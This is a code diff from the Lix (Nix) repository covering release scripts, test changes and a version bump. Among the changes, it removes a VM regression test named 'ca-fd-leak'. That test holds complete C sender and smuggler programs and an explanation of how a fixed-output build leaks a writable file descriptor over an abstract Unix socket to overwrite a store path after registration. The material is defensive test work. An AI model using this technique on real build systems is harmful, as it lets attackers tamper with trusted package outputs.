@@ -237,7 +240,7 @@ def upload_artifacts(env: RelengEnvironment, noconfirm=False, no_check_git=False
docker.upload_docker_images(target, docker_images) docker.upload_docker_images(target, docker_images)
print('[+] Upload to release bucket') print('[+] Upload to release bucket')
aws s3 cp --recursive @(ARTIFACTS)/ @(env.releases_bucket)/ aws s3 cp @(S3_ARGS) --recursive @(ARTIFACTS)/ @(env.releases_bucket)/
print('[+] Upload manual') print('[+] Upload manual')
upload_manual(env) upload_manual(env)
@@ -284,9 +287,9 @@ def upload_manual(env: RelengEnvironment):
version = 'nightly' version = 'nightly'
print('[+] aws s3 sync manual') print('[+] aws s3 sync manual')
aws s3 sync @(MANUAL)/ @(env.docs_bucket)/manual/lix/@(version)/ aws s3 sync @(S3_ARGS) --delete @(MANUAL)/ @(env.docs_bucket)/manual/lix/@(version)/
if OFFICIAL_RELEASE: if OFFICIAL_RELEASE:
aws s3 sync @(MANUAL)/ @(env.docs_bucket)/manual/lix/stable/ aws s3 sync @(S3_ARGS) --delete @(MANUAL)/ @(env.docs_bucket)/manual/lix/stable/
def build_artifacts(build_profile, no_check_git=False): def build_artifacts(build_profile, no_check_git=False):
@@ -8,7 +8,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox" [[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
# We first build a dependency of the derivation we eventually want to # We first build a dependency of the derivation we eventually want to
# build. # build.
@@ -2,7 +2,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox" [[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
remoteDir=$TEST_ROOT/remote remoteDir=$TEST_ROOT/remote
-1
View File
@@ -3,7 +3,6 @@ requireSandboxSupport
# Avoid store dir being inside sandbox build-dir # Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; } function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }
-21
View File
@@ -49,27 +49,6 @@ test_custom_build_dir() {
} }
test_custom_build_dir test_custom_build_dir
test_custom_temp_dir() {
# like test_custom_build_dir(), but uses the temp-dir setting instead
# build-dir inherits from temp-dir when build-dir is unset
local customTempDir="$TEST_ROOT/custom-temp-dir"
mkdir "$customTempDir"
nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \
--no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customTempDir/nix-build-"*)" ]]
local buildDir="$customTempDir/nix-build-"*
grep $checkBuildId $buildDir/checkBuildId
# also check a separate code path that doesn't involve build-dir
# nix-shell uses temp-dir for its rcfile path
rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log)
# rcpath is <temp-dir>/nix-shell-*/rc
[[ $rcpath = "$customTempDir"/* ]]
}
test_custom_temp_dir
test_shell_preserves_tmpdir() { test_shell_preserves_tmpdir() {
# ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir # ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir
local envTempDir=$TEST_ROOT/shell-temp-dir-env local envTempDir=$TEST_ROOT/shell-temp-dir-env
+1
View File
@@ -18,6 +18,7 @@ echo "$missingImpureErrorMsg" | grepQuiet -- --impure || \
(! nix eval --expr builtins.currentSystem) (! nix eval --expr builtins.currentSystem)
(! nix-instantiate --pure-eval ./simple.nix) (! nix-instantiate --pure-eval ./simple.nix)
(! nix eval --expr 'builtins.readDir "/"')
[[ $(nix eval --impure --expr "(import (builtins.fetchurl { url = \"file://$(pwd)/pure-eval.nix\"; })).x") == 123 ]] [[ $(nix eval --impure --expr "(import (builtins.fetchurl { url = \"file://$(pwd)/pure-eval.nix\"; })).x") == 123 ]]
(! nix eval --expr "(import (builtins.fetchurl { url = \"file://$(pwd)/pure-eval.nix\"; })).x") (! nix eval --expr "(import (builtins.fetchurl { url = \"file://$(pwd)/pure-eval.nix\"; })).x")
@@ -0,0 +1,8 @@
@args --debugger --ignore-try
we don't enter a debug repl through tryEval
nix-repl> (builtins.tryEval ((x: throw "foo") 1)).success
false
no segfault either
nix-repl> :quit
@@ -187,5 +187,6 @@ REPL_TEST(stack_vars);
REPL_TEST(errors); REPL_TEST(errors);
REPL_TEST(idempotent); REPL_TEST(idempotent);
REPL_TEST(debug_frames); REPL_TEST(debug_frames);
REPL_TEST(debug_ignore_try);
}; // namespace nix }; // namespace nix
-1
View File
@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF
# Avoid store dir being inside sandbox build-dir # Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR unset NIX_STORE_DIR
unset NIX_STATE_DIR
setLocalStore () { setLocalStore () {
export NIX_REMOTE=\$TEST_ROOT/\$1 export NIX_REMOTE=\$TEST_ROOT/\$1
@@ -0,0 +1,30 @@
from pathlib import Path
from textwrap import dedent
from functional2.testlib.fixtures import Nix
import re
def test_invalid_flake_lock(nix: Nix, tmp_path: Path):
flake_dir = tmp_path / 'flake'
flake_dir.mkdir()
(flake_dir / 'flake.nix').write_text(dedent("""
{
inputs = {};
outputs = inputs: {};
}
"""))
(flake_dir / 'flake.lock').write_text(dedent("""
{
this flake.lock is obviously invalid
}
"""))
cmd = nix.nix(["build"], flake=True)
cmd.cwd = flake_dir
res = cmd.run().expect(1)
print(res.stderr_plain)
ERROR_RE1 = re.compile(fr"while updating the lock file of flake 'path:{flake_dir}.+'")
ERROR_RE2 = re.compile(fr"while parsing the lock file at .+")
assert ERROR_RE1.search(res.stderr_plain)
assert ERROR_RE2.search(res.stderr_plain)
-90
View File
@@ -1,90 +0,0 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
{
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
-65
View File
@@ -1,65 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
-66
View File
@@ -1,66 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}
+3 -2
View File
@@ -144,12 +144,13 @@ in
["i686-linux" "x86_64-linux"] ["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./setuid/setuid.nix); (system: runNixOSTestFor system ./setuid/setuid.nix);
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git; fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix; symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
# Use this test to test things that cannot easily be tested under chroot Nix stores in functional test suite.
non-chroot-misc = runNixOSTestFor "x86_64-linux" ./non-chroot-misc;
noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix; noNewPrivilegesInSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/sandbox.nix;
noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix; noNewPrivilegesOutsideSandbox = runNixOSTestFor "x86_64-linux" ./no-new-privileges/no-sandbox.nix;
+1 -1
View File
@@ -52,7 +52,7 @@ in
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ]; security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."127.0.0.1" = [ "good" "bad" ]; networking.hosts."192.168.1.1" = [ "good" "bad" ];
virtualisation.writableStore = true; virtualisation.writableStore = true;
+34
View File
@@ -0,0 +1,34 @@
{ ... }:
# Misc things we want to test inside of a non redirected, non chroot Nix store.
let
nonAutoCleaningFailingDerivationCode = ''
derivation {
name = "scratch-failing";
system = builtins.currentSystem;
builder = "/bin/sh";
args = [ (builtins.toFile "builder.sh" "echo bonjour > $out; echo out: $out; false") ];
}
'';
in
{
name = "non-chroot-sandbox-misc";
nodes.machine = {
};
testScript = { nodes }: ''
import re
start_all()
# You might ask yourself why write such a convoluted thing?
# The condition for fooling Nix into NOT cleaning up the output path are non trivial and unclear.
# This is one of those: create a derivation, mkdir or touch the $out path, communicate it back.
# Even with a sandboxed Lix, you will observe leftovers before 2.93.0. After this version, this test passes.
result = machine.fail("""nix-build --substituters "" -E '${nonAutoCleaningFailingDerivationCode}' 2>&1""")
match = re.search(r'out: (\S+)', result)
assert match is not None, "Did not find Nix store path in the result of the failing build"
outpath = match.group(1).strip()
print(f"Found Nix store path: {outpath}")
machine.fail(f'stat {outpath}')
'';
}
+9
View File
@@ -426,4 +426,13 @@ TEST(FileTransfer, DISABLED_interrupt)
ASSERT_THROW(ft->download(fmt("http://[::1]:%d/index", port)).second->drain(), FileTransferError); ASSERT_THROW(ft->download(fmt("http://[::1]:%d/index", port)).second->drain(), FileTransferError);
} }
TEST(FileTransfer, setupErrorsAreMetadata)
{
auto [port, srv] = serveHTTP({
{"404 try again later", "content-length: 1\r\n", [] { return "X"; }},
});
auto ft = makeFileTransfer(0);
ASSERT_THROW(ft->upload(fmt("http://[::1]:%d", port), ""), FileTransferError);
}
} }
+81
View File
@@ -3,6 +3,8 @@
#include "lix/libutil/strings.hh" #include "lix/libutil/strings.hh"
#include "lix/libutil/types.hh" #include "lix/libutil/types.hh"
#include "lix/libutil/terminal.hh" #include "lix/libutil/terminal.hh"
#include "lix/libutil/unix-domain-socket.hh"
#include "tests/test-data.hh"
#include <gtest/gtest.h> #include <gtest/gtest.h>
@@ -207,6 +209,85 @@ namespace nix {
ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes")); ASSERT_FALSE(pathExists("/schnitzel/darmstadt/pommes"));
} }
/* ----------------------------------------------------------------------------
* AutoCloseFD::guessOrInventPath
* --------------------------------------------------------------------------*/
void testGuessOrInventPathPrePostDeletion(AutoCloseFD & fd, Path & path) {
{
SCOPED_TRACE(fmt("guessing path before deletion of '%1%'", path));
ASSERT_TRUE(fd);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
{
SCOPED_TRACE(fmt("guessing path after deletion of '%1%'", path));
deletePath(path);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(fd.guessOrInventPath().size() >= 0);
}
}
TEST(guessOrInventPath, files) {
Path filePath = getUnitTestDataPath("guess-or-invent/test.txt");
createDirs(dirOf(filePath));
writeFile(filePath, "some text");
AutoCloseFD file{open(filePath.c_str(), O_RDONLY, 0666)};
testGuessOrInventPathPrePostDeletion(file, filePath);
}
TEST(guessOrInventPath, directories) {
Path dirPath = getUnitTestDataPath("guess-or-invent/test-dir");
createDirs(dirPath);
AutoCloseFD directory{open(dirPath.c_str(), O_DIRECTORY, 0666)};
testGuessOrInventPathPrePostDeletion(directory, dirPath);
}
#ifdef O_PATH
TEST(guessOrInventPath, symlinks) {
Path symlinkPath = getUnitTestDataPath("guess-or-invent/test-symlink");
Path targetPath = getUnitTestDataPath("guess-or-invent/nowhere");
createDirs(dirOf(symlinkPath));
createSymlink(targetPath, symlinkPath);
AutoCloseFD symlink{open(symlinkPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(symlink, symlinkPath);
}
TEST(guessOrInventPath, fifos) {
Path fifoPath = getUnitTestDataPath("guess-or-invent/fifo");
createDirs(dirOf(fifoPath));
ASSERT_TRUE(mkfifo(fifoPath.c_str(), 0666) == 0);
AutoCloseFD fifo{open(fifoPath.c_str(), O_PATH | O_NOFOLLOW, 0666)};
testGuessOrInventPathPrePostDeletion(fifo, fifoPath);
}
#endif
TEST(guessOrInventPath, pipes) {
int pipefd[2];
ASSERT_TRUE(pipe(pipefd) == 0);
AutoCloseFD pipe_read{pipefd[0]};
ASSERT_TRUE(pipe_read);
AutoCloseFD pipe_write{pipefd[1]};
ASSERT_TRUE(pipe_write);
/* We cannot predict what the platform will return here.
* But it cannot fail. */
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
ASSERT_TRUE(pipe_write.guessOrInventPath().size() >= 0);
pipe_write.close();
ASSERT_TRUE(pipe_read.guessOrInventPath().size() >= 0);
pipe_read.close();
}
TEST(guessOrInventPath, sockets) {
Path socketPath = getUnitTestDataPath("guess-or-invent/socket");
createDirs(dirOf(socketPath));
AutoCloseFD socket = createUnixDomainSocket(socketPath, 0666);
testGuessOrInventPathPrePostDeletion(socket, socketPath);
}
/* ---------------------------------------------------------------------------- /* ----------------------------------------------------------------------------
* concatStringsSep * concatStringsSep
* --------------------------------------------------------------------------*/ * --------------------------------------------------------------------------*/
+2 -2
View File
@@ -1,5 +1,5 @@
{ {
"version": "2.92.0", "version": "2.92.2",
"official_release": false, "official_release": true,
"release_name": "Bombe glacée" "release_name": "Bombe glacée"
} }